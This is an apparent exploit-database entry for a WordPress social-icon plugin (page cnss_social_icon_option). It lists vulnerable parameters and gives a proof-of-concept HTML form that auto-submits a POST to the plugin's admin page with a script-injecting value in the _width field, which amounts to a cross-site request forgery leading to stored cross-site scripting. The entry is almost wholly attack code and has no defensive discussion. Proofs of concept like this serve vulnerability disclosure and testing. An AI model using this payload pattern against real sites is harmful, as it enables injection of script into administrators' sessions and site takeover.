## https://sploitus.com/exploit?id=WPEX-ID:D6B0F74A-DAFC-42EF-B0C7-B1A3C59DA875
Affected parameters: _width, _height, _margin, _attr_id, _attr_class
<html>
<body>
<form action="https://example.com/wp-admin/admin.php?page=cnss_social_icon_option" method="POST">
<input type="hidden" name="_width" value='"><script>alert(/XSS/)</script>' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>